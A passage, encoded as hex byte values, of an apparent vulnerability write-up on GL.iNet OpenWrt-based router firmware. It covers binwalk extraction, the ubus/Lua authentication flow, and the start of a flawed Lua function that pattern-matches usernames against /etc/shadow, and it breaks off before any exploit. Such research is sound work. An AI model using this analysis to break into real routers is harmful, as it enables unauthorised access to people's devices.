0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x2C, 0x20, 0x74, 0x68, 0x75, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x63, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x77, 0x65, 0x62, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63, 0x65, 0x2E, 0x20, 0x54, 0x6F, 0x20, 0x65, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x20, 0x69, 0x74, 0x2C, 0x20, 0x49, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x2D, 0x65, 0x2A, 0x2A, 0x20, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x2E, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x64, 0x7A, 0x6F, 0x6E, 0x65, 0x72, 0x7A, 0x79, 0x40, 0x44, 0x5A, 0x4F, 0x4E, 0x45, 0x52, 0x5A, 0x59, 0x2D, 0x50, 0x43, 0x3A, 0x24, 0x20, 0x62, 0x69, 0x6E, 0x77, 0x61, 0x6C, 0x6B, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x77, 0x72, 0x74, 0x2D, 0x61, 0x72, 0x33, 0x30, 0x30, 0x6D, 0x31, 0x36, 0x2D, 0x34, 0x2E, 0x33, 0x2E, 0x37, 0x2D, 0x30, 0x39, 0x31, 0x33, 0x2D, 0x31, 0x36, 0x39, 0x34, 0x35, 0x38, 0x39, 0x39, 0x39, 0x34, 0x2E, 0x62, 0x69, 0x6E, 0x0A, 0x44, 0x45, 0x43, 0x49, 0x4D, 0x41, 0x4C, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x48, 0x45, 0x58, 0x41, 0x44, 0x45, 0x43, 0x49, 0x4D, 0x41, 0x4C, 0x20, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x53, 0x43, 0x52, 0x49, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x0A, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x78, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x2C, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x36, 0x34, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x20, 0x43, 0x52, 0x43, 0x3A, 0x20, 0x30, 0x78, 0x45, 0x39, 0x34, 0x30, 0x44, 0x46, 0x39, 0x36, 0x2C, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x3A, 0x20, 0x32, 0x30, 0x32, 0x33, 0x2D, 0x30, 0x34, 0x2D, 0x30, 0x39, 0x20, 0x31, 0x32, 0x3A, 0x32, 0x37, 0x3A, 0x34, 0x36, 0x2C, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x32, 0x35, 0x39, 0x37, 0x31, 0x37, 0x34, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x44, 0x61, 0x74, 0x61, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x30, 0x78, 0x38, 0x30, 0x30, 0x36, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x20, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x3A, 0x20, 0x30, 0x78, 0x38, 0x30, 0x30, 0x36, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x20, 0x64, 0x61, 0x74, 0x61, 0x20, 0x43, 0x52, 0x43, 0x3A, 0x20, 0x30, 0x78, 0x33, 0x45, 0x42, 0x42, 0x34, 0x41, 0x32, 0x32, 0x2C, 0x20, 0x4F, 0x53, 0x3A, 0x20, 0x4C, 0x69, 0x6E, 0x75, 0x78, 0x2C, 0x20, 0x43, 0x50, 0x55, 0x3A, 0x20, 0x4D, 0x49, 0x50, 0x53, 0x2C, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x4F, 0x53, 0x20, 0x4B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x2C, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x6C, 0x7A, 0x6D, 0x61, 0x2C, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x20, 0x22, 0x4D, 0x49, 0x50, 0x53, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x57, 0x72, 0x74, 0x20, 0x4C, 0x69, 0x6E, 0x75, 0x78, 0x2D, 0x35, 0x2E, 0x31, 0x30, 0x2E, 0x31, 0x37, 0x36, 0x22, 0x0A, 0x36, 0x34, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x78, 0x34, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4C, 0x5A, 0x4D, 0x41, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2C, 0x20, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x3A, 0x20, 0x30, 0x78, 0x36, 0x44, 0x2C, 0x20, 0x64, 0x69, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x61, 0x72, 0x79, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x38, 0x33, 0x38, 0x38, 0x36, 0x30, 0x38, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x75, 0x6E, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x38, 0x37, 0x32, 0x33, 0x38, 0x37, 0x36, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x0A, 0x32, 0x35, 0x39, 0x37, 0x32, 0x33, 0x38, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x78, 0x32, 0x37, 0x41, 0x31, 0x37, 0x36, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x71, 0x75, 0x61, 0x73, 0x68, 0x66, 0x73, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2C, 0x20, 0x6C, 0x69, 0x74, 0x74, 0x6C, 0x65, 0x20, 0x65, 0x6E, 0x64, 0x69, 0x61, 0x6E, 0x2C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x34, 0x2E, 0x30, 0x2C, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x3A, 0x78, 0x7A, 0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x32, 0x38, 0x34, 0x37, 0x36, 0x36, 0x36, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x34, 0x30, 0x39, 0x36, 0x20, 0x69, 0x6E, 0x6F, 0x64, 0x65, 0x73, 0x2C, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x32, 0x36, 0x32, 0x31, 0x34, 0x34, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x3A, 0x20, 0x32, 0x30, 0x32, 0x33, 0x2D, 0x30, 0x34, 0x2D, 0x30, 0x39, 0x20, 0x31, 0x32, 0x3A, 0x32, 0x37, 0x3A, 0x34, 0x36, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x23, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x57, 0x52, 0x54, 0x2D, 0x62, 0x61, 0x73, 0x65, 0x64, 0x20, 0x49, 0x50, 0x43, 0x20, 0x75, 0x62, 0x75, 0x73, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x20, 0x77, 0x61, 0x73, 0x20, 0x62, 0x61, 0x73, 0x65, 0x64, 0x20, 0x6F, 0x6E, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x57, 0x52, 0x54, 0x2C, 0x20, 0x61, 0x73, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x64, 0x65, 0x64, 0x75, 0x63, 0x74, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x77, 0x61, 0x79, 0x20, 0x77, 0x65, 0x62, 0x20, 0x41, 0x50, 0x49, 0x73, 0x20, 0x61, 0x72, 0x65, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x64, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x6D, 0x69, 0x78, 0x20, 0x6F, 0x66, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x77, 0x72, 0x74, 0x20, 0x73, 0x74, 0x75, 0x66, 0x66, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x63, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x69, 0x74, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x73, 0x20, 0x72, 0x6F, 0x75, 0x67, 0x68, 0x6C, 0x79, 0x20, 0x61, 0x73, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x73, 0x3A, 0x0A, 0x0A, 0x31, 0x20, 0x2D, 0x20, 0x57, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x6E, 0x20, 0x52, 0x50, 0x43, 0x20, 0x64, 0x61, 0x65, 0x6D, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x69, 0x73, 0x20, 0x6C, 0x69, 0x73, 0x74, 0x65, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x20, 0x55, 0x6E, 0x69, 0x78, 0x20, 0x73, 0x6F, 0x63, 0x6B, 0x65, 0x74, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x2C, 0x20, 0x75, 0x70, 0x6F, 0x6E, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2C, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x63, 0x61, 0x6C, 0x6C, 0x20, 0x75, 0x62, 0x75, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x66, 0x6F, 0x72, 0x77, 0x61, 0x72, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x2E, 0x0A, 0x0A, 0x32, 0x20, 0x2D, 0x20, 0x54, 0x68, 0x65, 0x20, 0x75, 0x62, 0x75, 0x73, 0x20, 0x64, 0x69, 0x73, 0x70, 0x61, 0x74, 0x63, 0x68, 0x65, 0x72, 0x2C, 0x20, 0x61, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x77, 0x61, 0x72, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x4C, 0x75, 0x61, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x2E, 0x0A, 0x0A, 0x33, 0x20, 0x2D, 0x20, 0x54, 0x68, 0x65, 0x6E, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x75, 0x73, 0x72, 0x2F, 0x73, 0x62, 0x69, 0x6E, 0x2F, 0x67, 0x6C, 0x2D, 0x6E, 0x67, 0x78, 0x2D, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x2A, 0x2A, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x20, 0x4C, 0x75, 0x61, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6D, 0x65, 0x63, 0x68, 0x61, 0x6E, 0x69, 0x73, 0x6D, 0x2E, 0x20, 0x0A, 0x0A, 0x4F, 0x74, 0x68, 0x65, 0x72, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x73, 0x20, 0x65, 0x78, 0x69, 0x73, 0x74, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x64, 0x69, 0x66, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x61, 0x6C, 0x69, 0x74, 0x69, 0x65, 0x73, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x75, 0x73, 0x72, 0x2F, 0x6C, 0x69, 0x62, 0x2F, 0x6F, 0x75, 0x69, 0x2D, 0x68, 0x74, 0x74, 0x70, 0x64, 0x2F, 0x72, 0x70, 0x63, 0x2F, 0x2A, 0x2A, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x77, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x73, 0x74, 0x65, 0x64, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6D, 0x65, 0x63, 0x68, 0x61, 0x6E, 0x69, 0x73, 0x6D, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x61, 0x74, 0x2E, 0x0A, 0x0A, 0x4D, 0x6F, 0x72, 0x65, 0x20, 0x69, 0x6E, 0x66, 0x6F, 0x20, 0x61, 0x62, 0x6F, 0x75, 0x74, 0x20, 0x68, 0x6F, 0x77, 0x20, 0x75, 0x62, 0x75, 0x73, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x73, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x62, 0x65, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x5B, 0x68, 0x65, 0x72, 0x65, 0x5D, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x68, 0x61, 0x63, 0x6B, 0x6D, 0x64, 0x2E, 0x69, 0x6F, 0x2F, 0x40, 0x72, 0x59, 0x4D, 0x71, 0x7A, 0x43, 0x2D, 0x39, 0x52, 0x78, 0x79, 0x30, 0x49, 0x73, 0x6E, 0x33, 0x7A, 0x43, 0x6C, 0x55, 0x52, 0x67, 0x2F, 0x48, 0x31, 0x42, 0x59, 0x39, 0x38, 0x62, 0x52, 0x77, 0x29, 0x2E, 0x0A, 0x0A, 0x0A, 0x23, 0x20, 0x54, 0x68, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x2C, 0x20, 0x4C, 0x75, 0x61, 0x2C, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x72, 0x65, 0x61, 0x6C, 0x20, 0x21, 0x3F, 0x3F, 0x0A, 0x21, 0x5B, 0x41, 0x20, 0x62, 0x75, 0x67, 0x20, 0x63, 0x75, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x72, 0x65, 0x73, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x62, 0x75, 0x67, 0x2D, 0x77, 0x69, 0x72, 0x65, 0x73, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x55, 0x70, 0x6F, 0x6E, 0x20, 0x61, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x61, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x20, 0x49, 0x20, 0x6E, 0x6F, 0x74, 0x69, 0x63, 0x65, 0x64, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x75, 0x73, 0x72, 0x2F, 0x73, 0x62, 0x69, 0x6E, 0x2F, 0x67, 0x6C, 0x2D, 0x6E, 0x67, 0x78, 0x2D, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x2A, 0x2A, 0x20, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x4C, 0x75, 0x61, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x28, 0x6E, 0x6F, 0x20, 0x77, 0x65, 0x69, 0x72, 0x64, 0x20, 0x43, 0x20, 0x4D, 0x49, 0x50, 0x53, 0x20, 0x65, 0x73, 0x6F, 0x74, 0x65, 0x72, 0x69, 0x63, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x20, 0x79, 0x61, 0x79, 0x21, 0x29, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x49, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x6E, 0x61, 0x6C, 0x79, 0x7A, 0x65, 0x20, 0x69, 0x74, 0x2E, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6D, 0x65, 0x63, 0x68, 0x61, 0x6E, 0x69, 0x73, 0x6D, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x73, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x77, 0x6F, 0x20, 0x73, 0x74, 0x65, 0x70, 0x73, 0x3A, 0x0A, 0x0A, 0x31, 0x20, 0x2D, 0x20, 0x54, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x73, 0x20, 0x61, 0x6E, 0x20, 0x52, 0x50, 0x43, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x20, 0x63, 0x61, 0x6C, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x68, 0x61, 0x6C, 0x6C, 0x65, 0x6E, 0x67, 0x65, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x61, 0x20, 0x72, 0x61, 0x6E, 0x64, 0x6F, 0x6D, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x72, 0x27, 0x73, 0x20, 0x73, 0x61, 0x6C, 0x74, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x72, 0x79, 0x70, 0x74, 0x27, 0x73, 0x20, 0x61, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x20, 0x74, 0x6F, 0x20, 0x68, 0x61, 0x73, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2E, 0x0A, 0x0A, 0x32, 0x20, 0x2D, 0x20, 0x54, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x73, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x62, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6D, 0x64, 0x35, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x65, 0x6E, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x2C, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x2E, 0x0A, 0x0A, 0x41, 0x74, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x2C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x73, 0x65, 0x65, 0x6D, 0x65, 0x64, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x49, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x65, 0x64, 0x20, 0x61, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x67, 0x65, 0x74, 0x5F, 0x63, 0x72, 0x79, 0x70, 0x74, 0x5F, 0x69, 0x6E, 0x66, 0x6F, 0x2A, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x67, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x68, 0x61, 0x6C, 0x6C, 0x65, 0x6E, 0x67, 0x65, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x20, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x67, 0x65, 0x74, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x73, 0x74, 0x69, 0x6E, 0x67, 0x2E, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6C, 0x75, 0x61, 0x0A, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x67, 0x65, 0x74, 0x5F, 0x63, 0x72, 0x79, 0x70, 0x74, 0x5F, 0x69, 0x6E, 0x66, 0x6F, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x6F, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x3D, 0x20, 0x22, 0x22, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x6E, 0x69, 0x6C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6C, 0x20, 0x69, 0x6E, 0x20, 0x69, 0x6F, 0x2E, 0x6C, 0x69, 0x6E, 0x65, 0x73, 0x28, 0x22, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x22, 0x29, 0x20, 0x64, 0x6F, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x61, 0x6C, 0x67, 0x2C, 0x20, 0x73, 0x61, 0x6C, 0x74, 0x20, 0x3D, 0x20, 0x6C, 0x3A, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x28, 0x27, 0x5E, 0x27, 0x20, 0x2E, 0x2E, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x2E, 0x2E, 0x20, 0x27, 0x3A, 0x25, 0x24, 0x28, 0x25, 0x64, 0x29, 0x25, 0x24, 0x28, 0x2E, 0x2B, 0x29, 0x25, 0x24, 0x27, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x61, 0x6C, 0x67, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x74, 0x6F, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x28, 0x61, 0x6C, 